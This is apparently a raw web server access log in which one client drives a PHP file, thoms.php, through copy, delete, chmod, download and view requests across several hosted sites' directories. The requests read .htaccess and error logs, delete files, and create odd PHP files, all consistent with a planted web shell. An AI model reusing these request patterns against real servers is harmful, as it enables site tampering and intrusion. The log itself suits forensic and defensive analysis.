45.135.193.11 - - [11/Sep/2026:23:07:56 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:56 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 17401 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:57 -0400] "GET /thoms.php?p=bestzyx.com.tw%2F.well-known HTTP/1.1" 200 12583 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:57 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:57 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:57 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 13620 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:57 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 13282 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:57 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:57 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:57 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 13973 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:57 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:57 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:57 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28771 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:57 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 200 12040 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:57 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:57 -0400] "GET /ba-guo.com-20260912023525/ HTTP/1.1" 404 10432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:57 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 13433 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:57 -0400] "GET /thoms.php?del=ba-guo.com-20260912023525&p= HTTP/1.1" 200 18647 "http://163.245.207.76:443/thoms.php?del=ba-guo.com-20260912023525&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:57 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:58 -0400] "GET /thoms.php?copy=ba-guo.com-20260912023525&p= HTTP/1.1" 200 11905 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com-20260912023525&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:57 -0400] "GET /thoms.php?p=ba-guo.com-20260912023525 HTTP/1.1" 200 17303 "http://163.245.207.76:443/thoms.php?p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:58 -0400] "GET /thoms.php?chmod=ba-guo.com-20260912023525&p= HTTP/1.1" 200 11448 "http://163.245.207.76:443/thoms.php?chmod=ba-guo.com-20260912023525&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:58 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=besth2o.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:58 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=besth2o.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=besth2o.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:58 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=besth2o.com.tw%2Fwrapper-global HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=besth2o.com.tw%2Fwrapper-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:58 -0400] "GET /thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17379 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:58 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fwrapper-global HTTP/1.1" 200 13265 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=besth2o.com.tw%2Fwrapper-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:58 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&p=besth2o.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:58 -0400] "GET /thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17376 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:58 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=besth2o.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=besth2o.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:58 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=besth2o.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=besth2o.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:58 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fwp-includes HTTP/1.1" 200 59201 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=besth2o.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:58 -0400] "GET /thoms.php?p=besth2o.com.tw%2F.well-known HTTP/1.1" 200 12583 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=besth2o.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:58 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fwp-admin HTTP/1.1" 200 28814 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=besth2o.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:58 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=besth2o.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=besth2o.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:58 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fcgi-bin HTTP/1.1" 200 12004 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=besth2o.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:59 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=besth2o.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=besth2o.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:59 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=besth2o.com.tw%2Fsegment-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=besth2o.com.tw%2Fsegment-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:59 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fwp-content HTTP/1.1" 200 13609 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=besth2o.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:59 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fsegment-sample HTTP/1.1" 200 13434 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=besth2o.com.tw%2Fsegment-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:59 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=besth2o.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=besth2o.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:59 -0400] "GET /bft.com.tw/upgrade/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:59 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fupgrade HTTP/1.1" 200 14148 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=besth2o.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:59 -0400] "GET /thoms.php?p=bft.com.tw%2Fupgrade&view=error_log HTTP/1.1" 200 12076 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fupgrade&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:59 -0400] "GET /thoms.php?copy=bft.com.tw%2Fupgrade%2Ftxets.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11344 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade%2Ftxets.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:59 -0400] "GET /thoms.php?chmod=error_log&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11499 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:59 -0400] "GET /thoms.php?del=error_log&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 13764 "http://163.245.207.76:443/thoms.php?del=error_log&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:59 -0400] "GET /thoms.php?copy=bft.com.tw%2Fupgrade%2Ferror_log&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11345 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade%2Ferror_log&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:59 -0400] "GET /bft.com.tw/upgrade/txets.php HTTP/1.1" 200 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:59 -0400] "GET /thoms.php?dl=postnews.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 13754 "http://163.245.207.76:443/thoms.php?dl=postnews.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:59 -0400] "GET /thoms.php?del=admin.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 13764 "http://163.245.207.76:443/thoms.php?del=admin.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:59 -0400] "GET /thoms.php?dl=admin.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 13763 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:59 -0400] "GET /thoms.php?dl=error_log&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 13768 "http://163.245.207.76:443/thoms.php?dl=error_log&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:59 -0400] "GET /bft.com.tw/upgrade/.htaccess HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:59 -0400] "GET /thoms.php?p=bft.com.tw%2Fupgrade&view=.htaccess HTTP/1.1" 200 11943 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fupgrade&view=.htaccess" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:00 -0400] "GET /thoms.php?chmod=txets.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11495 "http://163.245.207.76:443/thoms.php?chmod=txets.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:00 -0400] "GET /thoms.php?p=bft.com.tw%2Fupgrade&settings=1 HTTP/1.1" 200 11909 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fupgrade&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:00 -0400] "GET /thoms.php?chmod=admin.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11498 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:00 -0400] "GET /thoms.php?copy=bft.com.tw%2Fupgrade%2Fadmin.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11311 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade%2Fadmin.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:00 -0400] "GET /thoms.php?copy=bft.com.tw%2Fupgrade%2Findex.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11343 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade%2Findex.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:00 -0400] "GET /thoms.php?p=bft.com.tw%2Fupgrade&view=postnews.php HTTP/1.1" 200 11842 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fupgrade&view=postnews.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:00 -0400] "GET /bft.com.tw/upgrade/termps.php HTTP/1.1" 200 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:00 -0400] "GET /thoms.php?chmod=.htaccess&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=.htaccess&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:00 -0400] "GET /thoms.php?chmod=index.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:00 -0400] "GET /bft.com.tw/upgrade/admin.php HTTP/1.1" 200 1105 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:00 -0400] "GET /thoms.php?del=postnews.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 13764 "http://163.245.207.76:443/thoms.php?del=postnews.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:00 -0400] "GET /thoms.php?dl=termps.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 13766 "http://163.245.207.76:443/thoms.php?dl=termps.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:00 -0400] "GET /thoms.php?del=index.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 13763 "http://163.245.207.76:443/thoms.php?del=index.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:00 -0400] "GET /thoms.php?chmod=termps.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=termps.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:00 -0400] "GET /bft.com.tw/upgrade/index.php HTTP/1.1" 200 6546 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:00 -0400] "GET /thoms.php?del=termps.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 13764 "http://163.245.207.76:443/thoms.php?del=termps.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:00 -0400] "GET /thoms.php?copy=bft.com.tw%2Fupgrade%2F.htaccess&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11357 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade%2F.htaccess&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:00 -0400] "GET /thoms.php?p=bft.com.tw%2Fupgrade&view=index.php HTTP/1.1" 200 11837 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fupgrade&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:00 -0400] "GET /bft.com.tw/upgrade/postnews.php HTTP/1.1" 200 114 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
